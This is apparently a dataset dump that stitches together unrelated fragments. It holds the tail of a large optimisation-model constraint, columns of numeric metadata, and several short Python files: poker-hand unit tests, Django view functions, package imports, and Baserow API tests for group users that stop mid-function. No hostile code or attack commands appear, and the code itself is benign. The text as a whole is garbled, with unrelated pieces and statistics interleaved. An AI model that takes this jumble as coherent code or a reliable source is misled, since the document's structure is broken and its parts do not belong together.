*m.b16 + 1600*m.b14*m.b17 + 1736*m.b14*m.b18 + 1776*m.b14*m.b19 + 1960*m.b14*m.b20 + 1824*m.b14*
m.b21 + 2104*m.b14*m.b22 + 2256*m.b14*m.b23 + 2584*m.b14*m.b24 + 2592*m.b14*m.b25 + 2760*m.b14*
m.b26 + 2736*m.b14*m.b27 + 3176*m.b14*m.b28 + 2880*m.b14*m.b29 + 2472*m.b14*m.b30 + 2160*m.b14*
m.b31 + 1768*m.b14*m.b32 + 1440*m.b14*m.b33 + 1064*m.b14*m.b34 + 720*m.b14*m.b35 + 360*m.b14*m.b2
+ 1488*m.b15*m.b16 + 1608*m.b15*m.b17 + 1632*m.b15*m.b18 + 1800*m.b15*m.b19 + 1856*m.b15*m.b20
+ 2072*m.b15*m.b21 + 1952*m.b15*m.b22 + 2264*m.b15*m.b23 + 2256*m.b15*m.b24 + 2424*m.b15*m.b25
+ 2464*m.b15*m.b26 + 2584*m.b15*m.b27 + 2528*m.b15*m.b28 + 2888*m.b15*m.b29 + 2576*m.b15*m.b30
+ 2168*m.b15*m.b31 + 1840*m.b15*m.b32 + 1448*m.b15*m.b33 + 1104*m.b15*m.b34 + 728*m.b15*m.b35 +
368*m.b15*m.b2 + 1520*m.b16*m.b17 + 1672*m.b16*m.b18 + 1712*m.b16*m.b19 + 1912*m.b16*m.b20 + 1984
*m.b16*m.b21 + 2232*m.b16*m.b22 + 1952*m.b16*m.b23 + 2104*m.b16*m.b24 + 2128*m.b16*m.b25 + 2312*
m.b16*m.b26 + 2320*m.b16*m.b27 + 2392*m.b16*m.b28 + 2304*m.b16*m.b29 + 2568*m.b16*m.b30 + 2256*
m.b16*m.b31 + 1848*m.b16*m.b32 + 1504*m.b16*m.b33 + 1112*m.b16*m.b34 + 752*m.b16*m.b35 + 376*
m.b16*m.b2 + 1600*m.b17*m.b18 + 1784*m.b17*m.b19 + 1840*m.b17*m.b20 + 2072*m.b17*m.b21 + 1984*
m.b17*m.b22 + 2072*m.b17*m.b23 + 1824*m.b17*m.b24 + 1992*m.b17*m.b25 + 2048*m.b17*m.b26 + 2200*
m.b17*m.b27 + 2160*m.b17*m.b28 + 2184*m.b17*m.b29 + 2064*m.b17*m.b30 + 2232*m.b17*m.b31 + 1904*
m.b17*m.b32 + 1512*m.b17*m.b33 + 1152*m.b17*m.b34 + 760*m.b17*m.b35 + 384*m.b17*m.b2 + 1728*m.b18
*m.b19 + 1944*m.b18*m.b20 + 1840*m.b18*m.b21 + 1912*m.b18*m.b22 + 1856*m.b18*m.b23 + 1960*m.b18*
m.b24 + 1744*m.b18*m.b25 + 1928*m.b18*m.b26 + 1968*m.b18*m.b27 + 2056*m.b18*m.b28 + 1984*m.b18*
m.b29 + 1960*m.b18*m.b30 + 1808*m.b18*m.b31 + 1880*m.b18*m.b32 + 1536*m.b18*m.b33 + 1144*m.b18*
m.b34 + 784*m.b18*m.b35 + 392*m.b18*m.b2 + 1728*m.b19*m.b20 + 1784*m.b19*m.b21 + 1712*m.b19*m.b22
+ 1800*m.b19*m.b23 + 1776*m.b19*m.b24 + 1896*m.b19*m.b25 + 1712*m.b19*m.b26 + 1864*m.b19*m.b27
+ 1872*m.b19*m.b28 + 1896*m.b19*m.b29 + 1792*m.b19*m.b30 + 1720*m.b19*m.b31 + 1536*m.b19*m.b32
+ 1512*m.b19*m.b33 + 1152*m.b19*m.b34 + 760*m.b19*m.b35 + 384*m.b19*m.b2 + 1600*m.b20*m.b21 +
1672*m.b20*m.b22 + 1632*m.b20*m.b23 + 1736*m.b20*m.b24 + 1744*m.b20*m.b25 + 1880*m.b20*m.b26 +
1712*m.b20*m.b27 + 1816*m.b20*m.b28 + 1776*m.b20*m.b29 + 1752*m.b20*m.b30 + 1616*m.b20*m.b31 +
1496*m.b20*m.b32 + 1280*m.b20*m.b33 + 1160*m.b20*m.b34 + 784*m.b20*m.b35 + 392*m.b20*m.b2 + 1520*
m.b21*m.b22 + 1608*m.b21*m.b23 + 1600*m.b21*m.b24 + 1720*m.b21*m.b25 + 1760*m.b21*m.b26 + 1864*
m.b21*m.b27 + 1696*m.b21*m.b28 + 1752*m.b21*m.b29 + 1664*m.b21*m.b30 + 1592*m.b21*m.b31 + 1424*
m.b21*m.b32 + 1256*m.b21*m.b33 + 1008*m.b21*m.b34 + 792*m.b21*m.b35 + 400*m.b21*m.b2 + 1488*m.b22
*m.b23 + 1592*m.b22*m.b24 + 1616*m.b22*m.b25 + 1752*m.b22*m.b26 + 1776*m.b22*m.b27 + 1832*m.b22*
m.b28 + 1664*m.b22*m.b29 + 1656*m.b22*m.b30 + 1536*m.b22*m.b31 + 1416*m.b22*m.b32 + 1216*m.b22*
m.b33 + 1000*m.b22*m.b34 + 720*m.b22*m.b35 + 408*m.b22*m.b2 + 1504*m.b23*m.b24 + 1624*m.b23*m.b25
+ 1680*m.b23*m.b26 + 1784*m.b23*m.b27 + 1776*m.b23*m.b28 + 1784*m.b23*m.b29 + 1616*m.b23*m.b30
+ 1544*m.b23*m.b31 + 1392*m.b23*m.b32 + 1224*m.b23*m.b33 + 992*m.b23*m.b34 + 728*m.b23*m.b35 +
416*m.b23*m.b2 + 1552*m.b24*m.b25 + 1688*m.b24*m.b26 + 1728*m.b24*m.b27 + 1784*m.b24*m.b28 + 1744
*m.b24*m.b29 + 1704*m.b24*m.b30 + 1520*m.b24*m.b31 + 1400*m.b24*m.b32 + 1216*m.b24*m.b33 + 1000*
m.b24*m.b34 + 736*m.b24*m.b35 + 424*m.b24*m.b2 + 1632*m.b25*m.b26 + 1736*m.b25*m.b27 + 1744*m.b25
*m.b28 + 1752*m.b25*m.b29 + 1680*m.b25*m.b30 + 1608*m.b25*m.b31 + 1392*m.b25*m.b32 + 1224*m.b25*
m.b33 + 1008*m.b25*m.b34 + 744*m.b25*m.b35 + 432*m.b25*m.b2 + 1696*m.b26*m.b27 + 1752*m.b26*m.b28
+ 1728*m.b26*m.b29 + 1688*m.b26*m.b30 + 1584*m.b26*m.b31 + 1464*m.b26*m.b32 + 1232*m.b26*m.b33
+ 1016*m.b26*m.b34 + 752*m.b26*m.b35 + 440*m.b26*m.b2 + 1728*m.b27*m.b28 + 1736*m.b27*m.b29 +
1680*m.b27*m.b30 + 1592*m.b27*m.b31 + 1472*m.b27*m.b32 + 1288*m.b27*m.b33 + 1024*m.b27*m.b34 +
760*m.b27*m.b35 + 448*m.b27*m.b2 + 1728*m.b28*m.b29 + 1688*m.b28*m.b30 + 1600*m.b28*m.b31 + 1464*
m.b28*m.b32 + 1296*m.b28*m.b33 + 1064*m.b28*m.b34 + 768*m.b28*m.b35 + 456*m.b28*m.b2 + 1696*m.b29
*m.b30 + 1608*m.b29*m.b31 + 1472*m.b29*m.b32 + 1304*m.b29*m.b33 + 1072*m.b29*m.b34 + 792*m.b29*
m.b35 + 464*m.b29*m.b2 + 1616*m.b30*m.b31 + 1480*m.b30*m.b32 + 1296*m.b30*m.b33 + 1080*m.b30*
m.b34 + 800*m.b30*m.b35 + 472*m.b30*m.b2 + 1488*m.b31*m.b32 + 1304*m.b31*m.b33 + 1088*m.b31*m.b34
+ 808*m.b31*m.b35 + 480*m.b31*m.b2 + 1312*m.b32*m.b33 + 1080*m.b32*m.b34 + 816*m.b32*m.b35 + 488
*m.b32*m.b2 + 1088*m.b33*m.b34 + 824*m.b33*m.b35 + 496*m.b33*m.b2 + 816*m.b34*m.b35 + 504*m.b34*
m.b2 + 512*m.b35*m.b2 - 2244*m.b1 - 4000*m.b3 - 5540*m.b4 - 6864*m.b5 - 7980*m.b6 - 8888*m.b7 -
9596*m.b8 - 10104*m.b9 - 10412*m.b10 - 10520*m.b11 - 10436*m.b12 - 10208*m.b13 - 9972*m.b14 -
9728*m.b15 - 9484*m.b16 - 9280*m.b17 - 9124*m.b18 - 9008*m.b19 - 9124*m.b20 - 9280*m.b21 - 9484*
m.b22 - 9728*m.b23 - 9972*m.b24 - 10208*m.b25 - 10436*m.b26 - 10520*m.b27 - 10412*m.b28 - 10104*
m.b29 - 9596*m.b30 - 8888*m.b31 - 7980*m.b32 - 6864*m.b33 - 5540*m.b34 - 4000*m.b35 - 2244*m.b2
- m.x36 <= 0)
| 117.673156
| 120
| 0.488274
| 77,146
| 314,305
| 1.989306
| 0.004381
| 0.052018
| 0.023823
| 0.020838
| 0.949774
| 0.947376
| 0.47132
| 0.422749
| 0.020819
| 0.000274
| 0
| 0.371149
| 0.266222
| 314,305
| 2,670
| 121
| 117.717228
| 0.294277
| 0.001992
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | null | null | null | null | null | null | 0
| 0
| 1
| null | 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| null | null | null | null | null | null |
0
| 6
|
e25c0302ee8c05536014998029d4db780aef6a92
| 73
|
py
|
Python
|
jacdac/heart_rate/__init__.py
|
microsoft/jacdac-python
|
712ad5559e29065f5eccb5dbfe029c039132df5a
|
[
"MIT"
] | 1
|
2022-02-15T21:30:36.000Z
|
2022-02-15T21:30:36.000Z
|
jacdac/heart_rate/__init__.py
|
microsoft/jacdac-python
|
712ad5559e29065f5eccb5dbfe029c039132df5a
|
[
"MIT"
] | null | null | null |
jacdac/heart_rate/__init__.py
|
microsoft/jacdac-python
|
712ad5559e29065f5eccb5dbfe029c039132df5a
|
[
"MIT"
] | 1
|
2022-02-08T19:32:45.000Z
|
2022-02-08T19:32:45.000Z
|
# Autogenerated file.
from .client import HeartRateClient # type: ignore
| 24.333333
| 50
| 0.794521
| 8
| 73
| 7.25
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.136986
| 73
| 2
| 51
| 36.5
| 0.920635
| 0.438356
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
e25f3d9d4062aaa4018c1834a206c3be127fedc6
| 37
|
py
|
Python
|
Beta/Chessboard legend.py
|
mwk0408/codewars_solutions
|
9b4f502b5f159e68024d494e19a96a226acad5e5
|
[
"MIT"
] | 6
|
2020-09-03T09:32:25.000Z
|
2020-12-07T04:10:01.000Z
|
Beta/Chessboard legend.py
|
mwk0408/codewars_solutions
|
9b4f502b5f159e68024d494e19a96a226acad5e5
|
[
"MIT"
] | 1
|
2021-12-13T15:30:21.000Z
|
2021-12-13T15:30:21.000Z
|
Beta/Chessboard legend.py
|
mwk0408/codewars_solutions
|
9b4f502b5f159e68024d494e19a96a226acad5e5
|
[
"MIT"
] | null | null | null |
def grains(n):
return 2**(n**2)-1
| 18.5
| 22
| 0.540541
| 8
| 37
| 2.5
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.1
| 0.189189
| 37
| 2
| 22
| 18.5
| 0.566667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0.5
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 6
|
e29bf102bcc2d01986cf90aafc7b1eecbc6c4679
| 10,158
|
py
|
Python
|
test-pokersim.py
|
heyi19931225/Python-Texas-Holdem-Starter-Simio
|
1eaf266922fb6478dd907f5cbc9eb388775d16e0
|
[
"MIT"
] | 12
|
2017-01-08T17:24:43.000Z
|
2021-11-14T09:09:11.000Z
|
test-pokersim.py
|
heyi19931225/Python-Texas-Holdem-Starter-Simio
|
1eaf266922fb6478dd907f5cbc9eb388775d16e0
|
[
"MIT"
] | 1
|
2020-06-15T11:23:41.000Z
|
2020-06-15T11:23:41.000Z
|
test-pokersim.py
|
heyi19931225/Python-Texas-Holdem-Starter-Simio
|
1eaf266922fb6478dd907f5cbc9eb388775d16e0
|
[
"MIT"
] | 15
|
2016-05-17T01:01:24.000Z
|
2021-11-16T14:37:34.000Z
|
##
# test-pokersim.py
#
# Tests
# check hand logic
# check readable_hand, hand_to_numeric
# check best_five
# valid_hand
import unittest
import pokersim
class TestPokerSim(unittest.TestCase):
def test_readable_hand(self):
self.assertEqual("Qd3c3d3h3s",
pokersim.readable_hand([[10, 1], [1, 0],
[1, 1], [1, 2], [1, 3]]))
self.assertEqual("As2cAh2d3d",
pokersim.readable_hand([[12, 3], [0, 0],
[12, 2], [0, 1], [1, 1]]))
self.assertEqual("2c3d4h5s7c",
pokersim.readable_hand([[0, 0], [1, 1],
[2, 2], [3, 3], [5, 0]]))
def test_hand_to_numeric(self):
hand = pokersim.hand_to_numeric("AcAdAhAsKc")
self.assertEqual([[12, 3], [12, 2], [12, 1], [12, 0], [11, 0]], hand)
def test_hand_copy(self):
hand = [[12, 3], [12, 2], [12, 1], [12, 0], [11, 0]]
hand2 = pokersim.hand_copy(hand)
self.assertEqual(hand, hand2)
def test_best_five(self):
p1_cards = [[12, 3], [12, 2]]
community_cards = [[12, 1], [12, 0], [11, 0], [5, 2], [6, 1]]
hand = pokersim.best_five(p1_cards, community_cards)
self.assertEqual([[12, 3], [12, 2], [12, 1], [12, 0], [11, 0]], hand)
def test_check_straightflush(self):
hand = pokersim.hand_to_numeric("AcKcQcJcTc")
self.assertTrue(pokersim.check_straightflush(hand))
hand = pokersim.hand_to_numeric("7c6c5c4c3c")
self.assertTrue(pokersim.check_straightflush(hand))
hand = pokersim.hand_to_numeric("Ac5c4c3c2c")
self.assertTrue(pokersim.check_straightflush(hand))
hand = pokersim.hand_to_numeric("AcTc5c4c3c")
self.assertFalse(pokersim.check_straightflush(hand))
hand = pokersim.hand_to_numeric("7c6c5c4c3d")
self.assertFalse(pokersim.check_straightflush(hand))
def test_check_flush(self):
hand = pokersim.hand_to_numeric("AcTc5c4c3c")
self.assertTrue(pokersim.check_flush(hand))
hand = pokersim.hand_to_numeric("AcTc5c4c3d")
self.assertFalse(pokersim.check_flush(hand))
def test_check_straight(self):
hand = pokersim.hand_to_numeric("7c6d5c4c3c")
self.assertTrue(pokersim.check_straight(hand))
hand = pokersim.hand_to_numeric("Ac5c4c3c2d")
self.assertTrue(pokersim.check_straight(hand))
hand = pokersim.hand_to_numeric("AcTc5c4c3c")
self.assertFalse(pokersim.check_straight(hand))
def test_fourofakind(self):
hand = pokersim.hand_to_numeric("Ad7c7d7h7s")
self.assertTrue(pokersim.check_fourofakind(hand)[0])
hand = pokersim.hand_to_numeric("5c5d5h5s2c")
self.assertTrue(pokersim.check_fourofakind(hand)[0])
hand = pokersim.hand_to_numeric("AcAd5c5h5s")
self.assertFalse(pokersim.check_fourofakind(hand)[0])
def test_fullhouse(self):
hand = pokersim.hand_to_numeric("AdAc7d7h7s")
self.assertTrue(pokersim.check_fullhouse(hand)[0])
hand = pokersim.hand_to_numeric("5c5d5h3s3c")
self.assertTrue(pokersim.check_fullhouse(hand)[0])
hand = pokersim.hand_to_numeric("AcAd5c5h4s")
self.assertFalse(pokersim.check_fullhouse(hand)[0])
def test_threeofakind(self):
hand = pokersim.hand_to_numeric("AdQc7d7h7s")
self.assertTrue(pokersim.check_threeofakind(hand)[0])
hand = pokersim.hand_to_numeric("5c5d5h3s2c")
self.assertTrue(pokersim.check_threeofakind(hand)[0])
hand = pokersim.hand_to_numeric("AcAd5c5h4s")
self.assertFalse(pokersim.check_threeofakind(hand)[0])
def test_twopair(self):
hand = pokersim.hand_to_numeric("AdAc7d7h6s")
self.assertTrue(pokersim.check_twopair(hand)[0])
hand = pokersim.hand_to_numeric("5c5d4h3s3c")
self.assertTrue(pokersim.check_twopair(hand)[0])
hand = pokersim.hand_to_numeric("AcAd5c4h3s")
self.assertFalse(pokersim.check_twopair(hand)[0])
def test_onepair(self):
hand = pokersim.hand_to_numeric("AdAc5d3h2s")
self.assertTrue(pokersim.check_onepair(hand)[0])
hand = pokersim.hand_to_numeric("5c5d4h3s2c")
self.assertTrue(pokersim.check_onepair(hand)[0])
hand = pokersim.hand_to_numeric("AcQd5c4h3s")
self.assertFalse(pokersim.check_onepair(hand)[0])
def test_highest_card(self):
hand1 = pokersim.hand_to_numeric("AdQc5d3h2h")
hand2 = pokersim.hand_to_numeric("KdQs5s3s2s")
self.assertEqual(pokersim.highest_card(hand1,hand2), 0)
self.assertEqual(pokersim.highest_card(hand2,hand1), 1)
hand1 = pokersim.hand_to_numeric("KhQh5h3h2d")
hand2 = pokersim.hand_to_numeric("KdQd5d3d2h")
self.assertEqual(pokersim.highest_card(hand1,hand2), 2)
self.assertEqual(pokersim.highest_card(hand2,hand1), 2)
def test_highest_card_straight(self):
hand1 = pokersim.hand_to_numeric("AdKcQdJhTs")
hand2 = pokersim.hand_to_numeric("KdQcJdTh9s")
self.assertEqual(pokersim.highest_card_straight(hand1,hand2), 0)
self.assertEqual(pokersim.highest_card_straight(hand2,hand1), 1)
hand1 = pokersim.hand_to_numeric("Ad5d4c3h2s")
hand2 = pokersim.hand_to_numeric("KdQcJdTh9s")
self.assertEqual(pokersim.highest_card_straight(hand1,hand2), 1)
self.assertEqual(pokersim.highest_card_straight(hand2,hand1), 0)
hand1 = pokersim.hand_to_numeric("Ad5d4c3h2s")
hand2 = pokersim.hand_to_numeric("KdQcJdTh9s")
self.assertEqual(pokersim.highest_card_straight(hand1,hand2), 1)
self.assertEqual(pokersim.highest_card_straight(hand2,hand1), 0)
def test_compare_hands(self):
# higher straight flush, lower straight flush
hand1 = pokersim.hand_to_numeric("AdKcQdJhTs")
hand2 = pokersim.hand_to_numeric("KdQcJdTh9s")
self.assertEqual(pokersim.compare_hands(hand1,hand2), 0)
self.assertEqual(pokersim.compare_hands(hand2,hand1), 1)
# 5-high straight flush, K-high straight flush
hand1 = pokersim.hand_to_numeric("Ad5d4c3h2s")
hand2 = pokersim.hand_to_numeric("KdQcJdTh9s")
self.assertEqual(pokersim.compare_hands(hand1,hand2), 1)
self.assertEqual(pokersim.compare_hands(hand2,hand1), 0)
# A-high hand, K-high hand
hand1 = pokersim.hand_to_numeric("AdQc5d3h2h")
hand2 = pokersim.hand_to_numeric("KdQs5s3s2s")
self.assertEqual(pokersim.compare_hands(hand1,hand2), 0)
self.assertEqual(pokersim.compare_hands(hand2,hand1), 1)
# K-high hands, 3rd kicker 6 vs 5
hand1 = pokersim.hand_to_numeric("KhQh6h3h2d")
hand2 = pokersim.hand_to_numeric("KdQd5d3d2h")
self.assertEqual(pokersim.compare_hands(hand1,hand2), 0)
self.assertEqual(pokersim.compare_hands(hand2,hand1), 1)
# Equal K-high hands
hand1 = pokersim.hand_to_numeric("KhQh5h3h2d")
hand2 = pokersim.hand_to_numeric("KdQd5d3d2h")
self.assertEqual(pokersim.compare_hands(hand1,hand2), 2)
self.assertEqual(pokersim.compare_hands(hand2,hand1), 2)
# A-high flush vs 7-high straight flush
hand1 = pokersim.hand_to_numeric("AcKcQcJc9c")
hand2 = pokersim.hand_to_numeric("7c6c5c4c3c")
self.assertEqual(pokersim.compare_hands(hand1,hand2), 1)
self.assertEqual(pokersim.compare_hands(hand2,hand1), 0)
# four of a kind vs. full house
hand1 = pokersim.hand_to_numeric("AcAdAhAs9c")
hand2 = pokersim.hand_to_numeric("7c7d7h4c4s")
self.assertEqual(pokersim.compare_hands(hand1,hand2), 0)
self.assertEqual(pokersim.compare_hands(hand2,hand1), 1)
# four of a kind vs. full house
hand1 = pokersim.hand_to_numeric("AcAdAh9s9c")
hand2 = pokersim.hand_to_numeric("7c7d7h7s4s")
self.assertEqual(pokersim.compare_hands(hand1,hand2), 1)
self.assertEqual(pokersim.compare_hands(hand2,hand1), 0)
# Q-high full house, 7-high full house
hand1 = pokersim.hand_to_numeric("QcQdQh9s9c")
hand2 = pokersim.hand_to_numeric("KsKs7c7d7h")
self.assertEqual(pokersim.compare_hands(hand1,hand2), 0)
self.assertEqual(pokersim.compare_hands(hand2,hand1), 1)
# 7-high full house, A-high trips
hand1 = pokersim.hand_to_numeric("AcAdAh9s8c")
hand2 = pokersim.hand_to_numeric("KsKs7c7d7h")
self.assertEqual(pokersim.compare_hands(hand1,hand2), 1)
self.assertEqual(pokersim.compare_hands(hand2,hand1), 0)
# 7-high trips, A-high trips
hand1 = pokersim.hand_to_numeric("AcAdAh9s8c")
hand2 = pokersim.hand_to_numeric("KsQs7c7d7h")
self.assertEqual(pokersim.compare_hands(hand1,hand2), 0)
self.assertEqual(pokersim.compare_hands(hand2,hand1), 1)
# A-high four-of-a-kind, K-high straight flush
hand1 = pokersim.hand_to_numeric("AcAdAhAs9c")
hand2 = pokersim.hand_to_numeric("KdQdJdTd9d")
self.assertEqual(pokersim.compare_hands(hand1,hand2), 1)
self.assertEqual(pokersim.compare_hands(hand2,hand1), 0)
# A-high four-of-a-kind, K-high straight
hand1 = pokersim.hand_to_numeric("AcAdAhAs9c")
hand2 = pokersim.hand_to_numeric("KdQdJdTd9s")
self.assertEqual(pokersim.compare_hands(hand1,hand2), 0)
self.assertEqual(pokersim.compare_hands(hand2,hand1), 1)
# 5-high four-of-a-kind, K-high straight
hand1 = pokersim.hand_to_numeric("5c5d5h5s9c")
hand2 = pokersim.hand_to_numeric("KdQdJdTd9s")
self.assertEqual(pokersim.compare_hands(hand1,hand2), 0)
self.assertEqual(pokersim.compare_hands(hand2,hand1), 1)
# 5-high four-of-a-kind, T-high four-of-a-kind
hand1 = pokersim.hand_to_numeric("5c5d5h5s9c")
hand2 = pokersim.hand_to_numeric("TcTdThTs6s")
self.assertEqual(pokersim.compare_hands(hand1,hand2), 1)
self.assertEqual(pokersim.compare_hands(hand2,hand1), 0)
if __name__ == '__main__':
unittest.main()
| 47.915094
| 77
| 0.669718
| 1,225
| 10,158
| 5.347755
| 0.096327
| 0.062281
| 0.134941
| 0.211571
| 0.802015
| 0.774233
| 0.717753
| 0.686002
| 0.662647
| 0.648298
| 0
| 0.060448
| 0.208506
| 10,158
| 211
| 78
| 48.14218
| 0.754353
| 0.062808
| 0
| 0.511905
| 0
| 0
| 0.073512
| 0
| 0
| 0
| 0
| 0
| 0.422619
| 1
| 0.089286
| false
| 0
| 0.011905
| 0
| 0.107143
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
e29e7a0574cd25b3521ccbfec3ec991095438e5e
| 446
|
py
|
Python
|
visual/views.py
|
dukuaris/Django
|
d34f3e3f09028511e96b99cae7faa1b46458eed1
|
[
"MIT"
] | null | null | null |
visual/views.py
|
dukuaris/Django
|
d34f3e3f09028511e96b99cae7faa1b46458eed1
|
[
"MIT"
] | 12
|
2020-06-06T01:22:26.000Z
|
2022-03-12T00:13:42.000Z
|
visual/views.py
|
dukuaris/Django
|
d34f3e3f09028511e96b99cae7faa1b46458eed1
|
[
"MIT"
] | null | null | null |
from django.shortcuts import render
def visual(requests):
return render(requests, 'visual/welcome.html')
def gapminder(requests):
return render(requests, 'visual/gapminder.html')
def multipleoutputs(requests):
return render(requests, 'visual/multipleoutputs.html')
def interactions(requests):
return render(requests, 'visual/interactions.html')
def stockprice(requests):
return render(requests, 'visual/stockprice.html')
| 26.235294
| 58
| 0.764574
| 50
| 446
| 6.82
| 0.3
| 0.205279
| 0.293255
| 0.410557
| 0.498534
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.121076
| 446
| 16
| 59
| 27.875
| 0.869898
| 0
| 0
| 0
| 0
| 0
| 0.253363
| 0.210762
| 0
| 0
| 0
| 0
| 0
| 1
| 0.454545
| false
| 0
| 0.090909
| 0.454545
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 6
|
e2b5f97fc73e692fc433612b8f6ee7e770757d71
| 31
|
py
|
Python
|
victoria/__init__.py
|
Vitens/Victoria
|
9f464105f00165ab3f9fd47837455cb68d4bd704
|
[
"Apache-2.0"
] | 1
|
2020-09-08T15:02:06.000Z
|
2020-09-08T15:02:06.000Z
|
victoria/__init__.py
|
Vitens/Victoria
|
9f464105f00165ab3f9fd47837455cb68d4bd704
|
[
"Apache-2.0"
] | null | null | null |
victoria/__init__.py
|
Vitens/Victoria
|
9f464105f00165ab3f9fd47837455cb68d4bd704
|
[
"Apache-2.0"
] | 1
|
2020-01-08T18:32:25.000Z
|
2020-01-08T18:32:25.000Z
|
from .victoria import Victoria
| 15.5
| 30
| 0.83871
| 4
| 31
| 6.5
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.129032
| 31
| 1
| 31
| 31
| 0.962963
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
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| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
2c4c3f89728261e77401999119b2d00bd703d99b
| 7,855
|
py
|
Python
|
backend/tests/baserow/api/groups/test_group_user_views.py
|
cjh0613/baserow
|
62871f5bf53c9d25446976031aacb706c0abe584
|
[
"MIT"
] | 839
|
2020-07-20T13:29:34.000Z
|
2022-03-31T21:09:16.000Z
|
backend/tests/baserow/api/groups/test_group_user_views.py
|
cjh0613/baserow
|
62871f5bf53c9d25446976031aacb706c0abe584
|
[
"MIT"
] | 28
|
2020-08-07T09:23:58.000Z
|
2022-03-01T22:32:40.000Z
|
backend/tests/baserow/api/groups/test_group_user_views.py
|
cjh0613/baserow
|
62871f5bf53c9d25446976031aacb706c0abe584
|
[
"MIT"
] | 79
|
2020-08-04T01:48:01.000Z
|
2022-03-27T13:30:54.000Z
|
import pytest
from rest_framework.status import (
HTTP_200_OK,
HTTP_204_NO_CONTENT,
HTTP_400_BAD_REQUEST,
HTTP_404_NOT_FOUND,
)
from django.shortcuts import reverse
from baserow.core.handler import CoreHandler
from baserow.core.models import GroupUser
from baserow.core.trash.handler import TrashHandler
@pytest.mark.django_db
def test_list_group_users(api_client, data_fixture):
user_1, token_1 = data_fixture.create_user_and_token(email="[email protected]")
user_2, token_2 = data_fixture.create_user_and_token(email="[email protected]")
user_3, token_3 = data_fixture.create_user_and_token(email="[email protected]")
group_1 = data_fixture.create_group()
data_fixture.create_user_group(group=group_1, user=user_1, permissions="ADMIN")
data_fixture.create_user_group(group=group_1, user=user_2, permissions="MEMBER")
response = api_client.get(
reverse("api:groups:users:list", kwargs={"group_id": 99999}),
{"permissions": "MEMBER"},
HTTP_AUTHORIZATION=f"JWT {token_1}",
)
response_json = response.json()
assert response.status_code == HTTP_404_NOT_FOUND
assert response_json["error"] == "ERROR_GROUP_DOES_NOT_EXIST"
response = api_client.get(
reverse("api:groups:users:list", kwargs={"group_id": group_1.id}),
HTTP_AUTHORIZATION=f"JWT {token_3}",
)
response_json = response.json()
assert response.status_code == HTTP_400_BAD_REQUEST
assert response_json["error"] == "ERROR_USER_NOT_IN_GROUP"
response = api_client.get(
reverse("api:groups:users:list", kwargs={"group_id": group_1.id}),
HTTP_AUTHORIZATION=f"JWT {token_2}",
)
response_json = response.json()
assert response.status_code == HTTP_400_BAD_REQUEST
assert response_json["error"] == "ERROR_USER_INVALID_GROUP_PERMISSIONS"
response = api_client.get(
reverse("api:groups:users:list", kwargs={"group_id": group_1.id}),
HTTP_AUTHORIZATION=f"JWT {token_1}",
)
response_json = response.json()
assert response.status_code == HTTP_200_OK
assert len(response_json) == 2
assert response_json[0]["permissions"] == "ADMIN"
assert response_json[0]["name"] == user_1.first_name
assert response_json[0]["email"] == user_1.email
assert "created_on" in response_json[0]
assert response_json[1]["permissions"] == "MEMBER"
assert response_json[1]["name"] == user_2.first_name
assert response_json[1]["email"] == user_2.email
assert "created_on" in response_json[1]
@pytest.mark.django_db
def test_update_group_user(api_client, data_fixture):
user_1, token_1 = data_fixture.create_user_and_token(email="[email protected]")
user_2, token_2 = data_fixture.create_user_and_token(email="[email protected]")
user_3, token_3 = data_fixture.create_user_and_token(email="[email protected]")
group_1 = data_fixture.create_group()
data_fixture.create_user_group(group=group_1, user=user_1, permissions="ADMIN")
group_user = data_fixture.create_user_group(
group=group_1, user=user_2, permissions="MEMBER"
)
response = api_client.patch(
reverse("api:groups:users:item", kwargs={"group_user_id": 99999}),
{"permissions": "MEMBER"},
HTTP_AUTHORIZATION=f"JWT {token_1}",
)
response_json = response.json()
assert response.status_code == HTTP_404_NOT_FOUND
